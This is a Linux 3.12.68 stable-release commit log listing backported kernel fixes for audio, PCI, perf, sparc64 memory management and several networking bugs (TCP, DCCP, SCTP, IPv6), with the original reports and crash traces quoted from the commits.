commit f19260acb98e5791e0429bcd1567aa422eeb585e Author: Jiri Slaby Date: Fri Nov 25 09:28:34 2016 +0100 Linux 3.12.68 commit dbb41290b2033840bf962d987c575fb3c8e11807 Author: Takashi Iwai Date: Wed Aug 19 07:20:14 2015 +0200 ALSA: usb-audio: Fix runtime PM unbalance commit 9003ebb13f61e8c78a641e0dda7775183ada0625 upstream. The fix for deadlock in PM in commit [1ee23fe07ee8: ALSA: usb-audio: Fix deadlocks at resuming] introduced a new check of in_pm flag. However, the brainless patch author evaluated it in a wrong way (logical AND instead of logical OR), thus usb_autopm_get_interface() is wrongly called at probing, leading to unbalance of runtime PM refcount. This patch fixes it by correcting the logic. Reported-by: Hans Yang Fixes: 1ee23fe07ee8 ('ALSA: usb-audio: Fix deadlocks at resuming') Signed-off-by: Takashi Iwai Signed-off-by: Jiri Slaby commit 6417d6f2e707a0bcf5b4fd13c0b184d4ba41c4d0 Author: Ben Hutchings Date: Mon Apr 13 00:26:35 2015 +0100 xen-pciback: Add name prefix to global 'permissive' variable commit 8014bcc86ef112eab9ee1db312dba4e6b608cf89 upstream. The variable for the 'permissive' module parameter used to be static but was recently changed to be extern. This puts it in the kernel global namespace if the driver is built-in, so its name should begin with a prefix identifying the driver. Signed-off-by: Ben Hutchings Fixes: af6fc858a35b ("xen-pciback: limit guest control of command register") Signed-off-by: David Vrabel Signed-off-by: Jiri Slaby commit f183980f7ded62e5e693e57e04a2b3666626ba50 Author: Myron Stowe Date: Tue Feb 3 16:01:24 2015 -0700 PCI: Handle read-only BARs on AMD CS553x devices commit 06cf35f903aa6da0cc8d9f81e9bcd1f7e1b534bb upstream. Some AMD CS553x devices have read-only BARs because of a firmware or hardware defect. There's a workaround in quirk_cs5536_vsa(), but it no longer works after 36e8164882ca ("PCI: Restore detection of read-only BARs"). Prior to 36e8164882ca, we filled in res->start; afterwards we leave it zeroed out. The quirk only updated the size, so the driver tried to use a region starting at zero, which didn't work. Expand quirk_cs5536_vsa() to read the base addresses from the BARs and hard-code the sizes. On Nix's system BAR 2's read-only value is 0x6200. Prior to 36e8164882ca, we interpret that as a 512-byte BAR based on the lowest-order bit set. Per datasheet sec 5.6.1, that BAR (MFGPT) requires only 64 bytes; use that to avoid clearing any address bits if a platform uses only 64-byte alignment. [js] pcibios_bus_to_resource takes pdev, not bus in 3.12 [bhelgaas: changelog, reduce BAR 2 size to 64] Fixes: 36e8164882ca ("PCI: Restore detection of read-only BARs") Link: https://bugzilla.kernel.org/show_bug.cgi?id=85991#c4 Link: http://support.amd.com/TechDocs/31506_cs5535_databook.pdf Link: http://support.amd.com/TechDocs/33238G_cs5536_db.pdf Reported-and-tested-by: Nix Signed-off-by: Myron Stowe Signed-off-by: Bjorn Helgaas Signed-off-by: Jiri Slaby commit 5e08a111b0a076648039fb2a08d6e101a6af9388 Author: Peter Zijlstra Date: Fri Jan 23 11:19:48 2015 +0100 perf: Tighten (and fix) the grouping condition commit c3c87e770458aa004bd7ed3f29945ff436fd6511 upstream. The fix from 9fc81d87420d ("perf: Fix events installation during moving group") was incomplete in that it failed to recognise that creating a group with events for different CPUs is semantically broken -- they cannot be co-scheduled. Furthermore, it leads to real breakage where, when we create an event for CPU Y and then migrate it to form a group on CPU X, the code gets confused where the counter is programmed -- triggered in practice as well by me via the perf fuzzer. Fix this by tightening the rules for creating groups. Only allow grouping of counters that can be co-scheduled in the same context. This means for the same task and/or the same cpu. Fixes: 9fc81d87420d ("perf: Fix events installation during moving group") Signed-off-by: Peter Zijlstra (Intel) Cc: Arnaldo Carvalho de Melo Cc: Jiri Olsa Cc: Linus Torvalds Link: http://lkml.kernel.org/r/20150123125834.090683288@infradead.org Signed-off-by: Ingo Molnar Signed-off-by: Jiri Slaby commit 1af405b19798ba98c7c1971202a1c8972e303f66 Author: Sebastian Andrzej Siewior Date: Thu Nov 13 18:28:47 2014 +0100 usb: musb: musb_cppi41: recognize HS devices in hostmode commit 1eec34e9f25664cf71e05321329d128e0565beae upstream. There is a poll loop for max 25us for HS devices. Now guess what, I tested it in gadget mode and forgot about the little detail. Nobody seem to have it noticed… This patch adds the missing logic for hostmode so it is recognized in host and device mode properly. Fixes: 50aea6fca771 ("usb: musb: cppi41: fire hrtimer according to programmed channel length") Signed-off-by: Sebastian Andrzej Siewior Signed-off-by: Felipe Balbi Signed-off-by: Jiri Slaby commit a8767147535ae95719119a469cfe786b1cfd1deb Author: Ben Hutchings Date: Thu Oct 30 18:27:12 2014 +0000 drivers/net: Disable UFO through virtio commit 3d0ad09412ffe00c9afa201d01effdb6023d09b4 upstream. IPv6 does not allow fragmentation by routers, so there is no fragmentation ID in the fixed header. UFO for IPv6 requires the ID to be passed separately, but there is no provision for this in the virtio net protocol. Until recently our software implementation of UFO/IPv6 generated a new ID, but this was a bug. Now we will use ID=0 for any UFO/IPv6 packet passed through a tap, which is even worse. Unfortunately there is no distinction between UFO/IPv4 and v6 features, so disable UFO on taps and virtio_net completely until we have a proper solution. We cannot depend on VM managers respecting the tap feature flags, so keep accepting UFO packets but log a warning the first time we do this. Signed-off-by: Ben Hutchings Fixes: 916e4cf46d02 ("ipv6: reuse ip6_frag_id from ip6_ufo_append_data") Signed-off-by: David S. Miller Signed-off-by: Jiri Slaby commit 79024d0fdd8b839a0c7664e4027f4e6be99eb2be Author: Ard Biesheuvel Date: Fri Sep 12 15:16:00 2014 +0200 KVM: check for !is_zero_pfn() in kvm_is_mmio_pfn() commit 85c8555ff07ef09261bd50d603cd4290cff5a8cc upstream. Read-only memory ranges may be backed by the zero page, so avoid misidentifying it a a MMIO pfn. This fixes another issue I identified when testing QEMU+KVM_UEFI, where a read to an uninitialized emulated NOR flash brought in the zero page, but mapped as a read-write device region, because kvm_is_mmio_pfn() misidentifies it as a MMIO pfn due to its PG_reserved bit being set. Signed-off-by: Ard Biesheuvel Fixes: b88657674d39 ("ARM: KVM: user_mem_abort: support stage 2 MMIO page mapping") Signed-off-by: Paolo Bonzini Signed-off-by: Jiri Slaby commit 571a8e0bf6d7ca990a13ad9622f3880244c11573 Author: Ard Biesheuvel Date: Fri Sep 12 22:17:23 2014 +0200 mm: export symbol dependencies of is_zero_pfn() commit 0b70068e47e8f0c813a902dc3d6def601fd15acb upstream. In order to make the static inline function is_zero_pfn() callable by modules, export its symbol dependencies 'zero_pfn' and (for s390 and mips) 'zero_page_mask'. We need this for KVM, as CONFIG_KVM is a tristate for all supported architectures except ARM and arm64, and testing a pfn whether it refers to the zero page is required to correctly distinguish the zero page from other special RAM ranges that may also have the PG_reserved bit set, but need to be treated as MMIO memory. Signed-off-by: Ard Biesheuvel Acked-by: Andrew Morton Signed-off-by: Paolo Bonzini Signed-off-by: Jiri Slaby commit 820c7391d09e6da3114eba535a736753fad1f84b Author: Johannes Weiner Date: Tue May 6 12:50:05 2014 -0700 mm: filemap: update find_get_pages_tag() to deal with shadow entries commit 139b6a6fb1539e04b01663d61baff3088c63dbb5 upstream. Dave Jones reports the following crash when find_get_pages_tag() runs into an exceptional entry: kernel BUG at mm/filemap.c:1347! RIP: find_get_pages_tag+0x1cb/0x220 Call Trace: find_get_pages_tag+0x36/0x220 pagevec_lookup_tag+0x21/0x30 filemap_fdatawait_range+0xbe/0x1e0 filemap_fdatawait+0x27/0x30 sync_inodes_sb+0x204/0x2a0 sync_inodes_one_sb+0x19/0x20 iterate_supers+0xb2/0x110 sys_sync+0x44/0xb0 ia32_do_call+0x13/0x13 1343 /* 1344 * This function is never used on a shmem/tmpfs 1345 * mapping, so a swap entry won't be found here. 1346 */ 1347 BUG(); After commit 0cd6144aadd2 ("mm + fs: prepare for non-page entries in page cache radix trees") this comment and BUG() are out of date because exceptional entries can now appear in all mappings - as shadows of recently evicted pages. However, as Hugh Dickins notes, "it is truly surprising for a PAGECACHE_TAG_WRITEBACK (and probably any other PAGECACHE_TAG_*) to appear on an exceptional entry. I expect it comes down to an occasional race in RCU lookup of the radix_tree: lacking absolute synchronization, we might sometimes catch an exceptional entry, with the tag which really belongs with the unexceptional entry which was there an instant before." And indeed, not only is the tree walk lockless, the tags are also read in chunks, one radix tree node at a time. There is plenty of time for page reclaim to swoop in and replace a page that was already looked up as tagged with a shadow entry. Remove the BUG() and update the comment. While reviewing all other lookup sites for whether they properly deal with shadow entries of evicted pages, update all the comments and fix memcg file charge moving to not miss shmem/tmpfs swapcache pages. Fixes: 0cd6144aadd2 ("mm + fs: prepare for non-page entries in page cache radix trees") Signed-off-by: Johannes Weiner Reported-by: Dave Jones Acked-by: Hugh Dickins Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Jiri Slaby commit 58c190c82f172954f1cf42e4a9f365a6e74a2d7e Author: David S. Miller Date: Thu Oct 27 09:04:54 2016 -0700 sparc64: Handle extremely large kernel TLB range flushes more gracefully. [ Upstream commit a74ad5e660a9ee1d071665e7e8ad822784a2dc7f ] When the vmalloc area gets fragmented, and because the firmware mapping area sits between where modules live and the vmalloc area, we can sometimes receive requests for enormous kernel TLB range flushes. When this happens the cpu just spins flushing billions of pages and this triggers the NMI watchdog and other problems. We took care of this on the TSB side by doing a linear scan of the table once we pass a certain threshold. Do something similar for the TLB flush, however we are limited by the TLB flush facilities provided by the different chip variants. First of all we use an (mostly arbitrary) cut-off of 256K which is about 32 pages. This can be tuned in the future. The huge range code path for each chip works as follows: 1) On spitfire we flush all non-locked TLB entries using diagnostic acceses. 2) On cheetah we use the "flush all" TLB flush. 3) On sun4v/hypervisor we do a TLB context flush on context 0, which unlike previous chips does not remove "permanent" or locked entries. We could probably do something better on spitfire, such as limiting the flush to kernel TLB entries or even doing range comparisons. However that probably isn't worth it since those chips are old and the TLB only had 64 entries. Reported-by: James Clarke Tested-by: James Clarke Signed-off-by: David S. Miller Signed-off-by: Jiri Slaby commit 5d43827dad0d3f07ba530ebeb253442189fc9bee Author: David S. Miller Date: Wed Oct 26 10:20:14 2016 -0700 sparc64: Fix illegal relative branches in hypervisor patched TLB cross-call code. [ Upstream commit a236441bb69723032db94128761a469030c3fe6d ] Just like the non-cross-call TLB flush handlers, the cross-call ones need to avoid doing PC-relative branches outside of their code blocks. Signed-off-by: David S. Miller Signed-off-by: Jiri Slaby commit 3febdf4c53a077b765fcea0230cd8fd03945659b Author: David S. Miller Date: Wed Oct 26 10:08:22 2016 -0700 sparc64: Fix instruction count in comment for __hypervisor_flush_tlb_pending. [ Upstream commit 830cda3f9855ff092b0e9610346d110846fc497c ] Noticed by James Clarke. Signed-off-by: David S. Miller Signed-off-by: Jiri Slaby commit 6246428d4cef994814f24b434c72a96a43948597 Author: David S. Miller Date: Tue Oct 25 16:23:26 2016 -0700 sparc64: Fix illegal relative branches in hypervisor patched TLB code. [ Upstream commit b429ae4d5b565a71dfffd759dfcd4f6c093ced94 ] When we copy code over to patch another piece of code, we can only use PC-relative branches that target code within that piece of code. Such PC-relative branches cannot be made to external symbols because the patch moves the location of the code and thus modifies the relative address of external symbols. Use an absolute jmpl to fix this problem. Signed-off-by: David S. Miller Signed-off-by: Jiri Slaby commit fbc1defa1a925ea2f25ae2b519c84bdeb515e286 Author: David S. Miller Date: Tue Oct 25 19:43:17 2016 -0700 sparc64: Handle extremely large kernel TSB range flushes sanely. [ Upstream commit 849c498766060a16aad5b0e0d03206726e7d2fa4 ] If the number of pages we are flushing is more than twice the number of entries in the TSB, just scan the TSB table for matches rather than probing each and every page in the range. Based upon a patch and report by James Clarke. Signed-off-by: David S. Miller Signed-off-by: Jiri Slaby commit 6d6262c596094fc880e2825cfc66a3fdbcabf8e7 Author: James Clarke Date: Mon Oct 24 19:49:25 2016 +0100 sparc: Handle negative offsets in arch_jump_label_transform [ Upstream commit 9d9fa230206a3aea6ef451646c97122f04777983 ] Additionally, if the offset will overflow the immediate for a ba,pt instruction, fall back on a standard ba to get an extra 3 bits. Signed-off-by: James Clarke Signed-off-by: David S. Miller Signed-off-by: Jiri Slaby commit 2f9cb54022b8599ce8b3ffcdc8a54437bd647985 Author: Mike Kravetz Date: Fri Jul 15 13:08:42 2016 -0700 sparc64 mm: Fix base TSB sizing when hugetlb pages are used [ Upstream commit af1b1a9b36b8f9d583d4b4f90dd8946ed0cd4bd0 ] do_sparc64_fault() calculates both the base and huge page RSS sizes and uses this information in calls to tsb_grow(). The calculation for base page TSB size is not correct if the task uses hugetlb pages. hugetlb pages are not accounted for in RSS, therefore the call to get_mm_rss(mm) does not include hugetlb pages. However, the number of pages based on huge_pte_count (which does include hugetlb pages) is subtracted from this value. This will result in an artificially small and often negative RSS calculation. The base TSB size is then often set to max_tsb_size as the passed RSS is unsigned, so a negative value looks really big. THP pages are also accounted for in huge_pte_count, and THP pages are accounted for in RSS so the calculation in do_sparc64_fault() is correct if a task only uses THP pages. A single huge_pte_count is not sufficient for TSB sizing if both hugetlb and THP pages can be used. Instead of a single counter, use two: one for hugetlb and one for THP. Signed-off-by: Mike Kravetz Signed-off-by: David S. Miller Signed-off-by: Jiri Slaby commit 2d5cba50a5b9ad14eda19ae0719d557437882178 Author: David S. Miller Date: Wed Jul 27 17:50:26 2016 -0700 sparc: Don't leak context bits into thread->fault_address [ Upstream commit 4f6deb8cbab532a8d7250bc09234c1795ecb5e2c ] On pre-Niagara systems, we fetch the fault address on data TLB exceptions from the TLB_TAG_ACCESS register. But this register also contains the context ID assosciated with the fault in the low 13 bits of the register value. This propagates into current_thread_info()->fault_address and can cause trouble later on. So clear the low 13-bits out of the TLB_TAG_ACCESS value in the cases where it matters. Reported-by: Mikulas Patocka Signed-off-by: David S. Miller Signed-off-by: Jiri Slaby commit 9edbcfdced9628dfdc6dc54d625e571aef81a8a5 Author: Eric Dumazet Date: Thu Nov 10 13:12:35 2016 -0800 tcp: take care of truncations done by sk_filter() [ Upstream commit ac6e780070e30e4c35bd395acfe9191e6268bdd3 ] With syzkaller help, Marco Grassi found a bug in TCP stack, crashing in tcp_collapse() Root cause is that sk_filter() can truncate the incoming skb, but TCP stack was not really expecting this to happen. It probably was expecting a simple DROP or ACCEPT behavior. We first need to make sure no part of TCP header could be removed. Then we need to adjust TCP_SKB_CB(skb)->end_seq Many thanks to syzkaller team and Marco for giving us a reproducer. Signed-off-by: Eric Dumazet Reported-by: Marco Grassi Reported-by: Vladis Dronov Signed-off-by: David S. Miller Signed-off-by: Jiri Slaby commit 75ed3f35930e79bcb1a5e61d0520953fea3e30a2 Author: Stephen Suryaputra Lin Date: Thu Nov 10 11:16:15 2016 -0500 ipv4: use new_gw for redirect neigh lookup [ Upstream commit 969447f226b451c453ddc83cac6144eaeac6f2e3 ] In v2.6, ip_rt_redirect() calls arp_bind_neighbour() which returns 0 and then the state of the neigh for the new_gw is checked. If the state isn't valid then the redirected route is deleted. This behavior is maintained up to v3.5.7 by check_peer_redirect() because rt->rt_gateway is assigned to peer->redirect_learned.a4 before calling ipv4_neigh_lookup(). After commit 5943634fc559 ("ipv4: Maintain redirect and PMTU info in struct rtable again."), ipv4_neigh_lookup() is performed without the rt_gateway assigned to the new_gw. In the case when rt_gateway (old_gw) isn't zero, the function uses it as the key. The neigh is most likely valid since the old_gw is the one that sends the ICMP redirect message. Then the new_gw is assigned to fib_nh_exception. The problem is: the new_gw ARP may never gets resolved and the traffic is blackholed. So, use the new_gw for neigh lookup. Changes from v1: - use __ipv4_neigh_lookup instead (per Eric Dumazet). Fixes: 5943634fc559 ("ipv4: Maintain redirect and PMTU info in struct rtable again.") Signed-off-by: Stephen Suryaputra Lin Signed-off-by: David S. Miller Signed-off-by: Jiri Slaby commit 34a6fca3d0eb6b8bdedd38ac463dc161ca6979f6 Author: WANG Cong Date: Wed Sep 24 17:07:53 2014 -0700 neigh: check error pointer instead of NULL for ipv4_neigh_lookup() commit 2c1a4311b61072afe2309d4152a7993e92caa41c upstream. Fixes: commit f187bc6efb7250afee0e2009b6106 ("ipv4: No need to set generic neighbour pointer") Cc: David S. Miller Signed-off-by: Cong Wang Signed-off-by: David S. Miller Signed-off-by: Jiri Slaby commit e464b5b0d9f756737da0b1eff550a67dd8dead15 Author: Marcelo Ricardo Leitner Date: Thu Nov 3 17:03:41 2016 -0200 sctp: assign assoc_id earlier in __sctp_connect [ Upstream commit 7233bc84a3aeda835d334499dc00448373caf5c0 ] sctp_wait_for_connect() currently already holds the asoc to keep it alive during the sleep, in case another thread release it. But Andrey Konovalov and Dmitry Vyukov reported an use-after-free in such situation. Problem is that __sctp_connect() doesn't get a ref on the asoc and will do a read on the asoc after calling sctp_wait_for_connect(), but by then another thread may have closed it and the _put on sctp_wait_for_connect will actually release it, causing the use-after-free. Fix is, instead of doing the read after waiting for the connect, do it before so, and avoid this issue as the socket is still locked by then. There should be no issue on returning the asoc id in case of failure as the application shouldn't trust on that number in such situations anyway. This issue doesn't exist in sctp_sendmsg() path. Reported-by: Dmitry Vyukov Reported-by: Andrey Konovalov Tested-by: Andrey Konovalov Signed-off-by: Marcelo Ricardo Leitner Reviewed-by: Xin Long Acked-by: Neil Horman Signed-off-by: David S. Miller Signed-off-by: Jiri Slaby commit ebf65c3c786790af3752d175362e0f05de319de4 Author: Eric Dumazet Date: Thu Nov 3 08:59:46 2016 -0700 ipv6: dccp: add missing bind_conflict to dccp_ipv6_mapped [ Upstream commit 990ff4d84408fc55942ca6644f67e361737b3d8e ] While fuzzing kernel with syzkaller, Andrey reported a nasty crash in inet6_bind() caused by DCCP lacking a required method. Fixes: ab1e0a13d7029 ("[SOCK] proto: Add hashinfo member to struct proto") Signed-off-by: Eric Dumazet Reported-by: Andrey Konovalov Tested-by: Andrey Konovalov Cc: Arnaldo Carvalho de Melo Acked-by: Arnaldo Carvalho de Melo Signed-off-by: David S. Miller Signed-off-by: Jiri Slaby commit bfe7d1dee859cad6802f8e21a0a863f408114612 Author: Eric Dumazet Date: Wed Nov 2 20:30:48 2016 -0700 ipv6: dccp: fix out of bound access in dccp_v6_err() [ Upstream commit 1aa9d1a0e7eefcc61696e147d123453fc0016005 ] dccp_v6_err() does not use pskb_may_pull() and might access garbage. We only need 4 bytes at the beginning of the DCCP header, like TCP, so the 8 bytes pulled in icmpv6_notify() are more than enough. Signed-off-by: Eric Dumazet Signed-off-by: David S. Miller Signed-off-by: Jiri Slaby commit dbf1719c65fb0368a94d15767c669e47e295a073 Author: Eric Dumazet Date: Wed Nov 2 19:00:40 2016 -0700 dccp: fix out of bound access in dccp_v4_err() [ Upstream commit 6706a97fec963d6cb3f7fc2978ec1427b4651214 ] dccp_v4_err() does not use pskb_may_pull() and might access garbage. We only need 4 bytes at the beginning of the DCCP header, like TCP, so the 8 bytes pulled in icmp_socket_deliver() are more than enough. This patch might allow to process more ICMP messages, as some routers are still limiting the size of reflected bytes to 28 (RFC 792), instead of extended lengths (RFC 1812 4.3.2.3) Signed-off-by: Eric Dumazet Signed-off-by: David S. Miller Signed-off-by: Jiri Slaby commit 730082f962fbb21146e974c713f536d7000b5a79 Author: Eric Dumazet Date: Wed Nov 2 18:04:24 2016 -0700 dccp: do not send reset to already closed sockets [ Upstream commit 346da62cc186c4b4b1ac59f87f4482b47a047388 ] Andrey reported following warning while fuzzing with syzkaller WARNING: CPU: 1 PID: 21072 at net/dccp/proto.c:83 dccp_set_state+0x229/0x290 Kernel panic - not syncing: panic_on_warn set ... CPU: 1 PID: 21072 Comm: syz-executor Not tainted 4.9.0-rc1+ #293 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Bochs 01/01/2011 ffff88003d4c7738 ffffffff81b474f4 0000000000000003 dffffc0000000000 ffffffff844f8b00 ffff88003d4c7804 ffff88003d4c7800 ffffffff8140c06a 0000000041b58ab3 ffffffff8479ab7d ffffffff8140beae ffffffff8140cd00 Call Trace: [< inline >] __dump_stack lib/dump_stack.c:15 [] dump_stack+0xb3/0x10f lib/dump_stack.c:51 [] panic+0x1bc/0x39d kernel/panic.c:179 [] __warn+0x1cc/0x1f0 kernel/panic.c:542 [] warn_slowpath_null+0x2c/0x40 kernel/panic.c:585 [] dccp_set_state+0x229/0x290 net/dccp/proto.c:83 [] dccp_close+0x612/0xc10 net/dccp/proto.c:1016 [] inet_release+0xef/0x1c0 net/ipv4/af_inet.c:415 [] sock_release+0x8e/0x1d0 net/socket.c:570 [] sock_close+0x16/0x20 net/socket.c:1017 [] __fput+0x29d/0x720 fs/file_table.c:208 [] ____fput+0x15/0x20 fs/file_table.c:244 [] task_work_run+0xf8/0x170 kernel/task_work.c:116 [< inline >] exit_task_work include/linux/task_work.h:21 [] do_exit+0x883/0x2ac0 kernel/exit.c:828 [] do_group_exit+0x10e/0x340 kernel/exit.c:931 [] get_signal+0x634/0x15a0 kernel/signal.c:2307 [] do_signal+0x8d/0x1a30 arch/x86/kernel/signal.c:807 [] exit_to_usermode_loop+0xe5/0x130 arch/x86/entry/common.c:156 [< inline >] prepare_exit_to_usermode arch/x86/entry/common.c:190 [] syscall_return_slowpath+0x1a8/0x1e0 arch/x86/entry/common.c:259 [] entry_SYSCALL_64_fastpath+0xc0/0xc2 Dumping ftrace buffer: (ftrace buffer empty) Kernel Offset: disabled Fix this the same way we did for TCP in commit 565b7b2d2e63 ("tcp: do not send reset to already closed sockets") Signed-off-by: Eric Dumazet Reported-by: Andrey Konovalov Tested-by: Andrey Konovalov Signed-off-by: David S. Miller Signed-off-by: Jiri Slaby commit 0f41dc1ca088447f96c77b9c2b669dc4cce92389 Author: Eric Dumazet Date: Wed Nov 2 07:53:17 2016 -0700 tcp: fix potential memory corruption [ Upstream commit ac9e70b17ecd7c6e933ff2eaf7ab37429e71bf4d ] Imagine initial value of max_skb_frags is 17, and last skb in write queue has 15 frags. Then max_skb_frags is lowered to 14 or smaller value. tcp_sendmsg() will then be allowed to add additional page frags and eventually go past MAX_SKB_FRAGS, overflowing struct skb_shared_info. Fixes: 5f74f82ea34c ("net:Add sysctl_max_skb_frags") Signed-off-by: Eric Dumazet Cc: Hans Westgaard Ry Cc: Håkon Bugge Signed-off-by: David S. Miller Signed-off-by: Jiri Slaby commit c1278d4dfee87d923685f19fa7fb7fd3271b504c Author: Eli Cooper Date: Tue Nov 1 23:45:12 2016 +0800 ip6_tunnel: Clear IP6CB in ip6tunnel_xmit() [ Upstream commit 23f4ffedb7d751c7e298732ba91ca75d224bc1a6 ] skb->cb may contain data from previous layers. In the observed scenario, the garbage data were misinterpreted as IP6CB(skb)->frag_max_size, so that small packets sent through the tunnel are mistakenly fragmented. This patch unconditionally clears the control buffer in ip6tunnel_xmit(), which affects ip6_tunnel, ip6_udp_tunnel and ip6_gre. Currently none of these tunnels set IP6CB(skb)->flags, otherwise it needs to be done earlier. Cc: stable@vger.kernel.org Signed-off-by: Eli Cooper Signed-off-by: David S. Miller Signed-off-by: Jiri Slaby commit 781c68c686b47bc9f51b54949e364034caec949e Author: Eric Dumazet Date: Sat Oct 29 11:02:36 2016 -0700 net: mangle zero checksum in skb_checksum_help() [ Upstream commit 4f2e4ad56a65f3b7d64c258e373cb71e8d2499f4 ] Sending zero checksum is ok for TCP, but not for UDP. UDPv6 receiver should by default drop a frame with a 0 checksum, and UDPv4 would not verify the checksum and might accept a corrupted packet. Simply replace such checksum by 0xffff, regardless of transport. This error was caught on SIT tunnels, but seems generic. Signed-off-by: Eric Dumazet Cc: Maciej Żenczykowski Cc: Willem de Bruijn Acked-by: Maciej Żenczykowski Signed-off-by: David S. Miller Signed-off-by: Jiri Slaby commit 11c4d5f9c7f85b14665b7f3ebfeb3cb319f5cb1e Author: Eric Dumazet Date: Fri Oct 28 13:40:24 2016 -0700 net: clear sk_err_soft in sk_clone_lock() [ Upstream commit e551c32d57c88923f99f8f010e89ca7ed0735e83 ] At accept() time, it is possible the parent has a non zero sk_err_soft, leftover from a prior error. Make sure we do not leave this value in the child, as it makes future getsockopt(SO_ERROR) calls quite unreliable. Signed-off-by: Eric Dumazet Acked-by: Soheil Hassas Yeganeh Signed-off-by: David S. Miller Signed-off-by: Jiri Slaby commit 90523418b2fecb64ad68e0c5f0e3381bdb020671 Author: Joe Perches Date: Thu Jun 25 15:01:16 2015 -0700 stddef.h: move offsetofend inside #ifndef/#endif guard, neaten commit 8c7fbe5795a016259445a61e072eb0118aaf6a61 upstream. Commit 3876488444e7 ("include/stddef.h: Move offsetofend() from vfio.h to a generic kernel header") added offsetofend outside the normal include #ifndef/#endif guard. Move it inside. Miscellanea: o remove unnecessary blank line o standardize offsetof macros whitespace style Signed-off-by: Joe Perches Cc: Denys Vlasenko Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Jiri Slaby commit 6e5b7494b4c4fa6fc40f0ea7fa699e7a16773b9d Author: Denys Vlasenko Date: Mon Mar 9 15:52:17 2015 +0100 include/stddef.h: Move offsetofend() from vfio.h to a generic kernel header commit 3876488444e71238e287459c39d7692b6f718c3e upstream. Suggested by Andy. Suggested-by: Andy Lutomirski Signed-off-by: Denys Vlasenko Acked-by: Linus Torvalds Cc: Alexei Starovoitov Cc: Borislav Petkov Cc: Frederic Weisbecker Cc: H. Peter Anvin Cc: Kees Cook Cc: Oleg Nesterov Cc: Steven Rostedt Cc: Will Drewry Link: http://lkml.kernel.org/r/1425912738-559-1-git-send-email-dvlasenk@redhat.com Signed-off-by: Ingo Molnar Signed-off-by: Jiri Slaby commit d0e34f015460b0ef2c359b3489b29c10cae5ed6e Author: Gavin Shan Date: Fri May 30 11:35:54 2014 -0600 drivers/vfio: Rework offsetofend() commit b13460b92093b29347e99d6c3242e350052b62cd upstream. The macro offsetofend() introduces unnecessary temporary variable "tmp". The patch avoids that and saves a bit memory in stack. Signed-off-by: Gavin Shan Signed-off-by: Alex Williamson Signed-off-by: Jiri Slaby commit fb77271c550e1414597dfac77202d85bd866f0a9 Author: Marcelo Ricardo Leitner Date: Tue Oct 25 14:27:39 2016 -0200 sctp: validate chunk len before actually using it [ Upstream commit bf911e985d6bbaa328c20c3e05f4eb03de11fdd6 ] Andrey Konovalov reported that KASAN detected that SCTP was using a slab beyond the boundaries. It was caused because when handling out of the blue packets in function sctp_sf_ootb() it was checking the chunk len only after already processing the first chunk, validating only for the 2nd and subsequent ones. The fix is to just move the check upwards so it's also validated for the 1st chunk. Reported-by: Andrey Konovalov Tested-by: Andrey Konovalov Signed-off-by: Marcelo Ricardo Leitner Reviewed-by: Xin Long Acked-by: Neil Horman Signed-off-by: David S. Miller Signed-off-by: Jiri Slaby commit 1dde9e47b893dcfa63ac8eb0190fba91d3ba1ce4 Author: Jiri Slaby Date: Fri Oct 21 14:13:24 2016 +0200 net: sctp, forbid negative length [ Upstream commit a4b8e71b05c27bae6bad3bdecddbc6b68a3ad8cf ] Most of getsockopt handlers in net/sctp/socket.c check len against sizeof some structure like: if (len < sizeof(int)) return -EINVAL; On the first look, the check seems to be correct. But since len is int and sizeof returns size_t, int gets promoted to unsigned size_t too. So the test returns false for negative lengths. Yes, (-1 < sizeof(long)) is false. Fix this in sctp by explicitly checking len < 0 before any getsockopt handler is called. Note that sctp_getsockopt_events already handled the negative case. Since we added the < 0 check elsewhere, this one can be removed. If not checked, this is the result: UBSAN: Undefined behaviour in ../mm/page_alloc.c:2722:19 shift exponent 52 is too large for 32-bit type 'int' CPU: 1 PID: 24535 Comm: syz-executor Not tainted 4.8.1-0-syzkaller #1 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.9.1-0-gb3ef39f-prebuilt.qemu-project.org 04/01/2014 0000000000000000 ffff88006d99f2a8 ffffffffb2f7bdea 0000000041b58ab3 ffffffffb4363c14 ffffffffb2f7bcde ffff88006d99f2d0 ffff88006d99f270 0000000000000000 0000000000000000 0000000000000034 ffffffffb5096422 Call Trace: [] ? __ubsan_handle_shift_out_of_bounds+0x29c/0x300 ... [] ? kmalloc_order+0x24/0x90 [] ? kmalloc_order_trace+0x24/0x220 [] ? __kmalloc+0x330/0x540 [] ? sctp_getsockopt_local_addrs+0x174/0xca0 [sctp] [] ? sctp_getsockopt+0x10d/0x1b0 [sctp] [] ? sock_common_getsockopt+0xb9/0x150 [] ? SyS_getsockopt+0x1a5/0x270 Signed-off-by: Jiri Slaby Cc: Vlad Yasevich Cc: Neil Horman Cc: "David S. Miller" Cc: linux-sctp@vger.kernel.org Cc: netdev@vger.kernel.org Acked-by: Neil Horman Signed-off-by: David S. Miller Signed-off-by: Jiri Slaby commit 260eb33c62ce4632e6698d0bddfa1adf525566e2 Author: Nikolay Aleksandrov Date: Tue Oct 18 18:09:48 2016 +0200 bridge: multicast: restore perm router ports on multicast enable [ Upstream commit 7cb3f9214dfa443c1ccc2be637dcc6344cc203f0 ] Satish reported a problem with the perm multicast router ports not getting reenabled after some series of events, in particular if it happens that the multicast snooping has been disabled and the port goes to disabled state then it will be deleted from the router port list, but if it moves into non-disabled state it will not be re-added because the mcast snooping is still disabled, and enabling snooping later does nothing. Here are the steps to reproduce, setup br0 with snooping enabled and eth1 added as a perm router (multicast_router = 2): 1. $ echo 0 > /sys/class/net/br0/bridge/multicast_snooping 2. $ ip l set eth1 down ^ This step deletes the interface from the router list 3. $ ip l set eth1 up ^ This step does not add it again because mcast snooping is disabled 4. $ echo 1 > /sys/class/net/br0/bridge/multicast_snooping 5. $ bridge -d -s mdb show At this point we have mcast enabled and eth1 as a perm router (value = 2) but it is not in the router list which is incorrect. After this change: 1. $ echo 0 > /sys/class/net/br0/bridge/multicast_snooping 2. $ ip l set eth1 down ^ This step deletes the interface from the router list 3. $ ip l set eth1 up ^ This step does not add it again because mcast snooping is disabled 4. $ echo 1 > /sys/class/net/br0/bridge/multicast_snooping 5. $ bridge -d -s mdb show router ports on br0: eth1 Note: we can directly do br_multicast_enable_port for all because the querier timer already has checks for the port state and will simply expire if it's in blocking/disabled. See the comment added by commit 9aa66382163e7 ("bridge: multicast: add a comment to br_port_state_selection about blocking state") 